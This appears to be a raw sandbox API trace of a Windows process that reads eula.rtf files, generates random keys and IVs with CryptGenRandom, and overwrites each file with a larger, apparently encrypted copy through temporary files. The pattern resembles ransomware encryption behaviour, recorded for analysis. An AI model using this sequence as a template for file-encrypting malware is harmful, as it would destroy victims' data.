	[0070.797] VirtualAlloc (lpAddress=0xc0002d8000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002d8000
	[0070.797] ReadFile (in: hFile=0x164, lpBuffer=0xc0002d8000, nNumberOfBytesToRead=0x108e, lpNumberOfBytesRead=0xc000283b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002d8000*, lpNumberOfBytesRead=0xc000283b04*=0xe8e, lpOverlapped=0x0) returned 1
	[0070.805] ReadFile (in: hFile=0x164, lpBuffer=0xc0002d8e8e, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000283b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002d8e8e*, lpNumberOfBytesRead=0xc000283b04*=0x0, lpOverlapped=0x0) returned 1
	[0070.805] CloseHandle (hObject=0x164) returned 1
	[0070.805] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000109540 | out: pbBuffer=0xc000109540) returned 1
	[0070.805] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc000100f40 | out: pbBuffer=0xc000100f40) returned 1
	[0070.805] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000162b01 | out: pbBuffer=0xc000162b01) returned 1
	[0070.805] VirtualAlloc (lpAddress=0xc0002de000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002de000
	[0070.806] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ee1176b1eafcfa4fbcba11de55fbf6ea" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ee1176b1eafcfa4fbcba11de55fbf6ea"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0070.807] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000283c04 | out: lpMode=0xc000283c04) returned 0
	[0070.807] GetFileType (hFile=0x164) returned 0x1
	[0070.807] WriteFile (in: hFile=0x164, lpBuffer=0xc00012b000*, nNumberOfBytesToWrite=0xf8e, lpNumberOfBytesWritten=0xc000283bec, lpOverlapped=0x0 | out: lpBuffer=0xc00012b000*, lpNumberOfBytesWritten=0xc000283bec*=0xf8e, lpOverlapped=0x0) returned 1
	[0070.808] CloseHandle (hObject=0x164) returned 1
	[0070.809] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0070.811] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000283d74 | out: lpMode=0xc000283d74) returned 0
	[0070.811] GetFileType (hFile=0x164) returned 0x1
	[0070.811] VirtualAlloc (lpAddress=0xc0002e0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002e0000
	[0070.812] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ee1176b1eafcfa4fbcba11de55fbf6ea" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ee1176b1eafcfa4fbcba11de55fbf6ea"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x178
	[0070.812] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000283d74 | out: lpMode=0xc000283d74) returned 0
	[0070.812] GetFileType (hFile=0x178) returned 0x1
	[0070.812] VirtualAlloc (lpAddress=0xc0002e2000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002e2000
	[0070.813] ReadFile (in: hFile=0x178, lpBuffer=0xc0002e2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000283bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002e2000*, lpNumberOfBytesRead=0xc000283bd4*=0xf8e, lpOverlapped=0x0) returned 1
	[0070.813] WriteFile (in: hFile=0x164, lpBuffer=0xc0002e2000*, nNumberOfBytesToWrite=0xf8e, lpNumberOfBytesWritten=0xc000283b74, lpOverlapped=0x0 | out: lpBuffer=0xc0002e2000*, lpNumberOfBytesWritten=0xc000283b74*=0xf8e, lpOverlapped=0x0) returned 1
	[0070.814] ReadFile (in: hFile=0x178, lpBuffer=0xc0002e2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000283bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002e2000*, lpNumberOfBytesRead=0xc000283bd4*=0x0, lpOverlapped=0x0) returned 1
	[0070.815] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ee1176b1eafcfa4fbcba11de55fbf6ea" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ee1176b1eafcfa4fbcba11de55fbf6ea")) returned 0
	[0070.815] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ee1176b1eafcfa4fbcba11de55fbf6ea" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ee1176b1eafcfa4fbcba11de55fbf6ea")) returned 0
	[0070.815] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ee1176b1eafcfa4fbcba11de55fbf6ea" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ee1176b1eafcfa4fbcba11de55fbf6ea")) returned 0x20
	[0070.815] CloseHandle (hObject=0x178) returned 1
	[0070.815] CloseHandle (hObject=0x164) returned 1
	[0070.816] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ee1176b1eafcfa4fbcba11de55fbf6ea" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ee1176b1eafcfa4fbcba11de55fbf6ea")) returned 1
	[0070.822] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0) returned 0
	[0070.822] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0) returned 0
	[0070.822] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x164
	[0070.822] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000231bf4 | out: lpMode=0xc000231bf4) returned 0
	[0070.823] GetFileType (hFile=0x164) returned 0x1
	[0070.823] GetFileType (hFile=0x164) returned 0x1
	[0070.823] GetFileInformationByHandle (in: hFile=0x164, lpFileInformation=0xc000231c44 | out: lpFileInformation=0xc000231c44) returned 1
	[0070.823] GetFileInformationByHandleEx (in: hFile=0x164, FileInformationClass=0x9, lpFileInformation=0xc000231c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000231c28) returned 1
	[0070.852] VirtualAlloc (lpAddress=0xc0002ea000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002ea000
	[0070.853] ReadFile (in: hFile=0x164, lpBuffer=0xc0002ea000, nNumberOfBytesToRead=0xef2, lpNumberOfBytesRead=0xc000231b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002ea000*, lpNumberOfBytesRead=0xc000231b04*=0xcf2, lpOverlapped=0x0) returned 1
	[0070.864] ReadFile (in: hFile=0x164, lpBuffer=0xc0002eacf2, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000231b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002eacf2*, lpNumberOfBytesRead=0xc000231b04*=0x0, lpOverlapped=0x0) returned 1
	[0070.864] CloseHandle (hObject=0x164) returned 1
	[0070.865] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000109680 | out: pbBuffer=0xc000109680) returned 1
	[0070.865] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc000101020 | out: pbBuffer=0xc000101020) returned 1
	[0070.865] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000162d01 | out: pbBuffer=0xc000162d01) returned 1
	[0070.865] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\941ee64f0e7a91446acac39a26d2f807" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\941ee64f0e7a91446acac39a26d2f807"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0070.866] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000231c04 | out: lpMode=0xc000231c04) returned 0
	[0070.866] GetFileType (hFile=0x164) returned 0x1
	[0070.866] WriteFile (in: hFile=0x164, lpBuffer=0xc0002eb000*, nNumberOfBytesToWrite=0xdf2, lpNumberOfBytesWritten=0xc000231bec, lpOverlapped=0x0 | out: lpBuffer=0xc0002eb000*, lpNumberOfBytesWritten=0xc000231bec*=0xdf2, lpOverlapped=0x0) returned 1
	[0070.867] CloseHandle (hObject=0x164) returned 1
	[0070.871] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0070.872] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000231d74 | out: lpMode=0xc000231d74) returned 0
	[0070.872] GetFileType (hFile=0x164) returned 0x1
	[0070.872] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\941ee64f0e7a91446acac39a26d2f807" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\941ee64f0e7a91446acac39a26d2f807"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x190
	[0070.872] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc000231d74 | out: lpMode=0xc000231d74) returned 0
	[0070.872] GetFileType (hFile=0x190) returned 0x1
	[0070.872] VirtualAlloc (lpAddress=0xc0002ec000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002ec000
	[0070.874] ReadFile (in: hFile=0x190, lpBuffer=0xc0002ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000231bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002ec000*, lpNumberOfBytesRead=0xc000231bd4*=0xdf2, lpOverlapped=0x0) returned 1
	[0070.874] WriteFile (in: hFile=0x164, lpBuffer=0xc0002ec000*, nNumberOfBytesToWrite=0xdf2, lpNumberOfBytesWritten=0xc000231b74, lpOverlapped=0x0 | out: lpBuffer=0xc0002ec000*, lpNumberOfBytesWritten=0xc000231b74*=0xdf2, lpOverlapped=0x0) returned 1
	[0070.875] ReadFile (in: hFile=0x190, lpBuffer=0xc0002ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000231bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002ec000*, lpNumberOfBytesRead=0xc000231bd4*=0x0, lpOverlapped=0x0) returned 1
	[0070.875] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\941ee64f0e7a91446acac39a26d2f807" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\941ee64f0e7a91446acac39a26d2f807")) returned 0
	[0070.875] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\941ee64f0e7a91446acac39a26d2f807" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\941ee64f0e7a91446acac39a26d2f807")) returned 0
	[0070.875] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\941ee64f0e7a91446acac39a26d2f807" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\941ee64f0e7a91446acac39a26d2f807")) returned 0x20
	[0070.875] CloseHandle (hObject=0x190) returned 1
	[0070.876] CloseHandle (hObject=0x164) returned 1
	[0070.876] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\941ee64f0e7a91446acac39a26d2f807" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\941ee64f0e7a91446acac39a26d2f807")) returned 1
	[0070.877] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.026] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc00022dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022dd94, lpOverlapped=0x0) returned 0
	[0071.026] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc00022dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022dd94, lpOverlapped=0x0) returned 0
	[0071.026] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x190
	[0071.027] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc00022dbf4 | out: lpMode=0xc00022dbf4) returned 0
	[0071.027] GetFileType (hFile=0x190) returned 0x1
	[0071.027] GetFileType (hFile=0x190) returned 0x1
	[0071.027] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0xc00022dc44 | out: lpFileInformation=0xc00022dc44) returned 1
	[0071.027] GetFileInformationByHandleEx (in: hFile=0x190, FileInformationClass=0x9, lpFileInformation=0xc00022dc28, dwBufferSize=0x8 | out: lpFileInformation=0xc00022dc28) returned 1
	[0071.027] VirtualAlloc (lpAddress=0xc000272000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000272000
	[0071.027] ReadFile (in: hFile=0x190, lpBuffer=0xc000272000, nNumberOfBytesToRead=0xfc6, lpNumberOfBytesRead=0xc00022db04, lpOverlapped=0x0 | out: lpBuffer=0xc000272000*, lpNumberOfBytesRead=0xc00022db04*=0xdc6, lpOverlapped=0x0) returned 1
	[0071.070] ReadFile (in: hFile=0x190, lpBuffer=0xc000272dc6, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc00022db04, lpOverlapped=0x0 | out: lpBuffer=0xc000272dc6*, lpNumberOfBytesRead=0xc00022db04*=0x0, lpOverlapped=0x0) returned 1
	[0071.070] CloseHandle (hObject=0x190) returned 1
	[0071.070] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000092d40 | out: pbBuffer=0xc000092d40) returned 1
	[0071.070] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc000094c00 | out: pbBuffer=0xc000094c00) returned 1
	[0071.070] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000082201 | out: pbBuffer=0xc000082201) returned 1
	[0071.070] VirtualAlloc (lpAddress=0xc000194000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000194000
	[0071.071] VirtualAlloc (lpAddress=0xc000196000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000196000
	[0071.072] VirtualAlloc (lpAddress=0xc000198000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000198000
	[0071.072] VirtualAlloc (lpAddress=0xc00019a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00019a000
	[0071.073] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a521487b76b762960af003b78fa37060" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a521487b76b762960af003b78fa37060"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190
	[0071.073] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc00022dc04 | out: lpMode=0xc00022dc04) returned 0
	[0071.073] GetFileType (hFile=0x190) returned 0x1
	[0071.073] WriteFile (in: hFile=0x190, lpBuffer=0xc00019a000*, nNumberOfBytesToWrite=0xec6, lpNumberOfBytesWritten=0xc00022dbec, lpOverlapped=0x0 | out: lpBuffer=0xc00019a000*, lpNumberOfBytesWritten=0xc00022dbec*=0xec6, lpOverlapped=0x0) returned 1
	[0071.075] CloseHandle (hObject=0x190) returned 1
	[0071.076] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190
	[0071.078] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc00022dd74 | out: lpMode=0xc00022dd74) returned 0
	[0071.078] GetFileType (hFile=0x190) returned 0x1
	[0071.078] VirtualAlloc (lpAddress=0xc00019c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00019c000
	[0071.078] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a521487b76b762960af003b78fa37060" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a521487b76b762960af003b78fa37060"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x164
	[0071.079] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc00022dd74 | out: lpMode=0xc00022dd74) returned 0
	[0071.079] GetFileType (hFile=0x164) returned 0x1
	[0071.079] VirtualAlloc (lpAddress=0xc00019e000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00019e000
	[0071.080] ReadFile (in: hFile=0x164, lpBuffer=0xc00019e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00022dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00019e000*, lpNumberOfBytesRead=0xc00022dbd4*=0xec6, lpOverlapped=0x0) returned 1
	[0071.080] WriteFile (in: hFile=0x190, lpBuffer=0xc00019e000*, nNumberOfBytesToWrite=0xec6, lpNumberOfBytesWritten=0xc00022db74, lpOverlapped=0x0 | out: lpBuffer=0xc00019e000*, lpNumberOfBytesWritten=0xc00022db74*=0xec6, lpOverlapped=0x0) returned 1
	[0071.081] ReadFile (in: hFile=0x164, lpBuffer=0xc00019e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00022dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00019e000*, lpNumberOfBytesRead=0xc00022dbd4*=0x0, lpOverlapped=0x0) returned 1
	[0071.081] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a521487b76b762960af003b78fa37060" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a521487b76b762960af003b78fa37060")) returned 0
	[0071.081] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a521487b76b762960af003b78fa37060" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a521487b76b762960af003b78fa37060")) returned 0
	[0071.082] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a521487b76b762960af003b78fa37060" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a521487b76b762960af003b78fa37060")) returned 0x20
	[0071.082] CloseHandle (hObject=0x164) returned 1
	[0071.082] CloseHandle (hObject=0x190) returned 1
	[0071.082] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a521487b76b762960af003b78fa37060" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a521487b76b762960af003b78fa37060")) returned 1
	[0071.084] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.089] SetEvent (hEvent=0xf0) returned 1
	[0071.089] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0) returned 0
	[0071.089] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0) returned 0
	[0071.089] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x190
	[0071.090] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc000287bf4 | out: lpMode=0xc000287bf4) returned 0
	[0071.090] GetFileType (hFile=0x190) returned 0x1
	[0071.090] GetFileType (hFile=0x190) returned 0x1
	[0071.090] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0xc000287c44 | out: lpFileInformation=0xc000287c44) returned 1
	[0071.090] GetFileInformationByHandleEx (in: hFile=0x190, FileInformationClass=0x9, lpFileInformation=0xc000287c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000287c28) returned 1
	[0071.090] VirtualAlloc (lpAddress=0xc0001a6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001a6000
	[0071.090] ReadFile (in: hFile=0x190, lpBuffer=0xc0001a6000, nNumberOfBytesToRead=0x1cc3, lpNumberOfBytesRead=0xc000287b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001a6000*, lpNumberOfBytesRead=0xc000287b04*=0x1ac3, lpOverlapped=0x0) returned 1
	[0071.107] ReadFile (in: hFile=0x190, lpBuffer=0xc0001a7ac3, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000287b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001a7ac3*, lpNumberOfBytesRead=0xc000287b04*=0x0, lpOverlapped=0x0) returned 1
	[0071.107] CloseHandle (hObject=0x190) returned 1
	[0071.108] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000092e80 | out: pbBuffer=0xc000092e80) returned 1
	[0071.108] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc000094ce0 | out: pbBuffer=0xc000094ce0) returned 1
	[0071.108] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000082401 | out: pbBuffer=0xc000082401) returned 1
	[0071.109] VirtualAlloc (lpAddress=0xc0001a8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001a8000
	[0071.110] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\1a77645e53dd819a1a61c8119a433374" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\1a77645e53dd819a1a61c8119a433374"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190
	[0071.111] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc000287c04 | out: lpMode=0xc000287c04) returned 0
	[0071.111] GetFileType (hFile=0x190) returned 0x1
	[0071.111] WriteFile (in: hFile=0x190, lpBuffer=0xc0001a8000*, nNumberOfBytesToWrite=0x1bc3, lpNumberOfBytesWritten=0xc000287bec, lpOverlapped=0x0 | out: lpBuffer=0xc0001a8000*, lpNumberOfBytesWritten=0xc000287bec*=0x1bc3, lpOverlapped=0x0) returned 1
	[0071.112] CloseHandle (hObject=0x190) returned 1
	[0071.115] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190
	[0071.116] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc000287d74 | out: lpMode=0xc000287d74) returned 0
	[0071.116] GetFileType (hFile=0x190) returned 0x1
	[0071.116] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\1a77645e53dd819a1a61c8119a433374" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\1a77645e53dd819a1a61c8119a433374"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x178
	[0071.117] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000287d74 | out: lpMode=0xc000287d74) returned 0
	[0071.117] GetFileType (hFile=0x178) returned 0x1
	[0071.117] VirtualAlloc (lpAddress=0xc0001aa000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001aa000
	[0071.118] ReadFile (in: hFile=0x178, lpBuffer=0xc0001aa000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000287bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001aa000*, lpNumberOfBytesRead=0xc000287bd4*=0x1bc3, lpOverlapped=0x0) returned 1
	[0071.118] WriteFile (in: hFile=0x190, lpBuffer=0xc0001aa000*, nNumberOfBytesToWrite=0x1bc3, lpNumberOfBytesWritten=0xc000287b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001aa000*, lpNumberOfBytesWritten=0xc000287b74*=0x1bc3, lpOverlapped=0x0) returned 1
	[0071.120] ReadFile (in: hFile=0x178, lpBuffer=0xc0001aa000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000287bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001aa000*, lpNumberOfBytesRead=0xc000287bd4*=0x0, lpOverlapped=0x0) returned 1
	[0071.120] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\1a77645e53dd819a1a61c8119a433374" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\1a77645e53dd819a1a61c8119a433374")) returned 0
	[0071.120] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\1a77645e53dd819a1a61c8119a433374" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\1a77645e53dd819a1a61c8119a433374")) returned 0
	[0071.120] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\1a77645e53dd819a1a61c8119a433374" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\1a77645e53dd819a1a61c8119a433374")) returned 0x20
	[0071.120] CloseHandle (hObject=0x178) returned 1
	[0071.120] CloseHandle (hObject=0x190) returned 1
	[0071.121] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\1a77645e53dd819a1a61c8119a433374" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\1a77645e53dd819a1a61c8119a433374")) returned 1
	[0071.173] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.616] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0) returned 0
	[0071.616] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0) returned 0
	[0071.617] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x190
	[0071.617] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc000287bf4 | out: lpMode=0xc000287bf4) returned 0
	[0071.617] GetFileType (hFile=0x190) returned 0x1
	[0071.617] GetFileType (hFile=0x190) returned 0x1
	[0071.617] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0xc000287c44 | out: lpFileInformation=0xc000287c44) returned 1
